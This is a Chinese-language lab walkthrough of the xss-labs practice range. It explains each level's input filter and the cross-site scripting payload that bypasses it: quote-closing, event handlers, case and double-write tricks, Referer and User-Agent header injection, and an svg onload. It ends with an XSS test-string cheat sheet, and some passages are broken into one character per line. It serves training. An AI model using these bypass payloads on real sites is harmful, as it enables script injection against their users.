XSS 学习–xss-labs通关笔记
靶场搭建
下载地址:
https://github.com/do0dl3/xss-labs
无需安装 将之解压到WWW目录之后直接访问
level 1 无过滤机制
观察箭头返现,向服务器提交name参数,值为‘test’ ,被提交的参数值‘test’ 回显当前页面上。
查看源码
从这里看到它将name的参数值,插入了<h2> </h2>标签之间
那么很明显,这一关主要考察反射型XSS
不知服务器端是否存在过滤,直接给name参数赋值一个简单的弹窗进行测试
将nema 参数赋值为:
<script>alert('xss')</script>
我们可以看到用于js弹窗的代码顺利执行了
那么这段代码在网页中如何显示的 呢
可以看到服务器将我们的恶意代码原封不动的返回,浏览器才能成功弹窗
再看看服务器端的level1.php 如何对参数操作的
从源码中看到,服务器以GET方式传递参数赋值给str变量,str 变量直接插入到<h2> </h2>标签之间
而服务器并没有对name参数进行严格的控制, 并且这个值在客户端可控。
level 2 闭合标签
从url 看依然是get方式传递参数,
只不过这一关加入了输入框和搜索框
查看分析页面源码
从源代码看,它的功能就是通过点击搜索,将输入框的内容以get的方式提交给服务端
level 2.php,经过服务器的动态处理之后又将参数keyword的值插入到<h2> <h2>标签中和添加到<input>标签中的value 属性值。
弹窗测试
- 通过<script>alert(‘xss’)</script>进行弹窗测试
没有弹窗,报错了
查看网页源码分析
可以看到在<h2> </h2>标签之中的恶意代码被编码了
其中<和>都被编码成了html字符实体。
猜测在服务端用htmlspecialchars()函数对keyword参数的值进行了处理
而在input标签的value参数的值中的恶意代码被原样返回
但是问题是这里的js代码在标签属性值中,浏览器是无法执行的<
既然<h2> </h2>标签中的恶意代码被编码,那么只能从属性值中的恶意代码处进行突破了。
想要浏览器执行这里的弹窗,只需要将属性的引号和标签闭合就可以了
构建的payload为:"><script>alert('xss')</script>//
左边的">去闭合原先的"
右边的//去注释原先的">
执行结果如下:
可以看到浏览器成功弹窗了,说明我们提交的恶意代码被浏览器执行了
源代码分析
箭头1 处通过GET方式传递keyword参数值赋值给$str
箭头2 处通过htmlspecialchars()函数对变量strj进行处理后显示到网页上
箭头3处却是直接将变量$str插入到<input>标签的value属性值中
因为这里并没有对敏感字符进行编码和过滤,所以可以通过构造实现XSS攻击。
level 3 单引号闭合+添加事件
查看网页源码
和第二关类似,通过get 传参提交给服务器端,经过处理后,插入<h2> <h2>和<input>标签中的value 属性值两个位置并回显到页面
查看网页源码发现:
这两处都将<
和>
这样的敏感字符编码成了html实体。
猜测服务器端在这两处都用htmlspecialchars()函数进行了处理。
这里可以通过<input>标签的一些特殊事件来执行js代码
比如:onfocus onerror(), onclick(), onmouseover()等
onfocus 使用
特殊事件:onfocus
onfocus 事件在对象获得焦点时发生。
onfocus 通常用于 <input>, <select>, 和<a>
最简单的实例就是网页上的一个输入框,
当使用鼠标点击该输入框时输入框被选中可以输入内容的时候,就是该输入框获得焦点的时候,
此时输入框就会触发onfocus事件.因此点击当前页面的输入框就可以完成弹框了。
示例
<!--点击后因为不断onfocus会不断弹出,可以直接关闭浏览器标签页终止-->
<input type="text" name="" id="" οnfοcus="javascript:alert('onfocus');">
构造代码:'οnfοcus=javascript:alert('xss') > //
‘οnfοcus=javascript:alert(‘xss’) > //
左边的’>去闭合原先的’
右边的>去闭合前面的input标签前面<
右边的//去注释原先的’>
onclick使用
构造payload
' onclick=alert(12)
左边的’>去闭合原先的’
查看网页源码:
查看源代码
通过GET方式获取的keyword参数值赋值给$str 后,htmlspecialchars()函数对变量strj进行处理后显示到网页上
level 4 双引号闭合+添加事件
还是尝试弹窗
这一关还是GET方式请求参数,经服务器端处理后回显到页面的2出
使用<script>alert('xss')</script>
进行测试
页面没有弹窗
查看网页源代码
第一处<
和>
被实体转码
第二处地方<
和>
被替换成空
同样使用上一关方法:通过<input>标签的一些特殊事件来执行js代码
payload " onclick=alert(12) //
左边的">去闭合原先的"
右边的//去注释原先的">
测试结果:
通过onmouseover使用
"onmouseover="alert(/xss/)
"onmouseover=alert(/xss/) "
测试成功弹窗,网页源码如下
查看网页源码:
源码代码:
通过GET方式获取keyword的值赋值给
s
t
r
第
1
处
对
str 第1处 对
str第1处对str 进行实体转换后回显到页面
第2处 对$str 对<
和>
被替换成空后回显到页面
所以 通过<input>标签的一些特殊事件来执行js代码
进行弹窗
level 5 新建标签
通过界面查看和上一关类似
通过代码进行测试<script>alert('xss')</script>
页面没有弹窗
查看页面源码:
第一处<
和>
被实体转码
第二处
通过上一关代码进行测试
payload
"onfocus=javascript:alert('xss') > //
" onclick=alert(12) //
"onmouseover=alert(/xss/) "
页面没有弹窗,并且查看源码
上一关的 事件触发都没有能够成功弹窗
综合了几个不同的payload特性测试了level5的过滤方式,发现在<h2>标签使用了HTML实体编码,在标签则没有使用HTML实体编码而是做了些过滤删改“ 对script转为scr_ipt ”,后续测试发现 “onclick =》 o_click”,双写、大小写混合等方式均失败!
但是提交的javascript字符并没有被转义
绕过的策略就是避开他拉黑的函数,使用其它的方式触发!所以这一关我们换一个标签来执行JS代码
我们……使用a标签去绕过对scrip标签的检查和事件属性的检测
"><a href="javascript:alert(/xss/)">alert</a> <"
查看网页源码:
服务器通过GET方式获取keywor 参数的值赋值个$str ,
第1处 对
s
t
r
进
行
实
体
转
换
后
回
显
到
页
面
第
2
处
对
str 进行实体转换后回显到页面 第2处 对
str进行实体转换后回显到页面第2处对str 对<script
和on
匹配到添加下划线_后回显到页面
level 6 -大小写绕过
观察发现和上一关没什么区别
都是一个在<h2>\ 标签之内,另一个在value属性中
接下来尝试恶意代码:<script>alert(‘xss’)</script>
第一处则还是<和>被编码了
第二处则是在script字符中插入_破坏语义。
尝试事件触发的代码进行尝试:"onfocus=javascript:alert('xss')"
同样被破坏
尝试上一关的标签:?keyword="> <a href=javascript:alert('xss') > xss</a> //
同样失败
尝试一下大小写绕过
?keyword="> <a hReF=javascript:alert('xss') > xss</a> //
查看网页源代码
源码分析
服务器通过GET方式获取keywor 参数的值赋值个$str ,
第1处 对
s
t
r
进
行
实
体
转
换
后
回
显
到
页
面
第
2
处
对
str 进行实体转换后回显到页面 第2处 对
str进行实体转换后回显到页面第2处对str 对关键字script、on 、src、data、href
匹配到添加下划线_破坏后回显到页面
level 7 双写绕过
尝试payload
<script>alert(‘xss’)</script>
"onfocus=javascript:alert('xss')"
?keyword="> <a href=javascript:alert('xss') > xss</a> //
" onclick=alert(12) //
尝试完成后均不能弹窗,关键字被替换成空,
尝试大小写绕过
<script>alert(‘xss’)</script>
"oNfocus=javascript:alert('xss')"
?keyword="> <a hReF=javascript:alert('xss') > xss</a> //
" Onclick=alert(12) //
尝试双写关键字
" OoNnclick=alert(12) //
服务器通过GET方式获取keywor 参数的值赋值个$str ,
第1处 对
s
t
r
进
行
实
体
转
换
后
回
显
到
页
面
第
2
处
对
str 进行实体转换后回显到页面 第2处 对
str进行实体转换后回显到页面第2处对str 对关键字先进行大小写转换 ,之后在script、on 、src、data、href
替换后回显到页面
level 8 编码绕过
输入aaaaa 进行尝试查看
查看网页源码
第一处在input 标签中
第二处在a标签的href属性 中
恶意代码尝试
<script herf src "' Oonn>
查看网页源码
分析发现 :
双引号被转换实体
大小写被转换
关键字script src on 被破坏
关键字没有被删除,所以没必要双写测试
我们尝试进行payload编码
javascript:alert(1)
分析源码:
服务器通过GET方式获取keyword 参数的值赋值个\$str 并进行大小写转换,
第1处 对$str 进行实体转换后回显到页面
第2处 对$str 对关键字 `script、on 、src、data、href`替换变形后回显到页面
level 9 检测关键字
使用test 进行测试
并查看网页源码:
提交的参数值插入到了标签的value属性值中
但是在标签的href属性中却并没有出现该参数值,
而是显示的 "您的链接不合法?有没有!"这样的字符串。
猜测这里可能对url地址做了匹配。
只有包含正常的url地址才能添加到href属性值中
构造一个有正常url地址的恶意代码:
?keyword=javascript:alert(/xss/)http://www.baidu.com
尝试对javascript 进行变形绕过:
大小写双写尝试绕过
jAvaJAvAScRIpTsCrIpt:alert(/xss/)http://www.baidu.com
大小写、双写失败,恶意代码执行并弹窗
尝试对恶意代码进行编码
javascript:alert(1)//http://qq.com
*****备注:后边的//注释一定要加,不然它就驴唇不对马嘴,自然浏览器也懵逼,所以要把后边的网址注释掉。
level 10 隐藏信息
我们看到第十关没有输入框了所以我们在url栏里输入
我们查看网页源码:
源码中有一个隐藏的表单其中含有t_link t_history t_sort这样三个隐藏的标签
现在不仅能给keyword传参还能给三个input传参
先尝试一下给三个input传参
localhost/xss-labs/level10.php?keyword=<script herf src%20 "' Oonn>&t_link=11&t_history=22&t_sort=333
发现只有t_sort接受了我们传的参数
所以我们可以从t_sort下手同时想要使用这个标签就需要注视点后面原有的hidden类型
把他改为其他类型button或者type
发现过滤了<>所以我们用onclick事件
构造payload
t_sort=" onclick ='javascript:alert(1)'// type=button
level 11 Referer信息
和第10关一样没有输入框了
查看网页源码
发现和上一关不一样的地方是表单多了一个input 标签,而标签的的值观察URL是第10关的地址,
我们尝试对着4个进行传参,
http://localhost/xss-labs/level11.php?keyword=good%20job!&t_link=11&t_history=22&t_sort=333&t_ref=44
查看网页源码:
发现表单中的4个隐藏标签之后t_sort 标签能够传参,
那我们就使用上一关的代码尝试,发现弹窗不能执行,我们查看网页源码,发现闭合标签中的引号被转义,
我们回到第4个标签t_ref,它的值是第10关的地址,猜测ref又可能是http头中的referer属性
抓包尝试修改一下
发现请求头中并没有renfence 那我们就添加请求头中
发现是可以修改的,尝试闭合value创造自己的事件放包
referer:111" onclick ='javascript:alert(1)'// type=button
level 12 user-agent信息
查看网页源码
到了t_ua这样一个标签,并且其中的value属性的值怎么看起来那么
像抓取数据包中User-Agent头的值?!
抓包尝试修改
发现双引号没有被过滤,我们尝试闭合引号构造事件弹窗
" onclick ='javascript:alert(1)'// type=button
level 13 cookie信息
查看网页源码:
还是四个隐藏框
t_cook可能是cookie
抓包仍然是相同的方式
发现双引号没有被过滤,我们尝试闭合引号构造事件弹窗
level 16 空格实体转义
对比发现,这里先是将字母小写化了,再把script替换成空格,把/
替换成空格最后将空格给实体化
空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的、、
那我们使用svg
标签
<svg%0aonload=alert(1)>
XSS 漏洞常用测试脚本
<script>alert('xss')</script>
如果过滤了指定标签 比如:<script>标签
<img src=x onerror="alert('xss')"/>
--常用的on事件:onerror(), onclick(), onmouseover()等
如果标签都被过滤了,可以考虑编码(但需要注意编码输出点是否会解析)
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">test</a>
javascript:alert(111)
<script>alert(\'xss'\)</script>
#" javascript:prompt('111')//>
#' onclick="alert(111)">
<img src=x onerror="alert%28%27xss%27%29" />
<ScRiPt>alert('111')</ScRiPt>
<scri<script>pt>alert(111)</scri</script>pt>
'-prompt(1)-'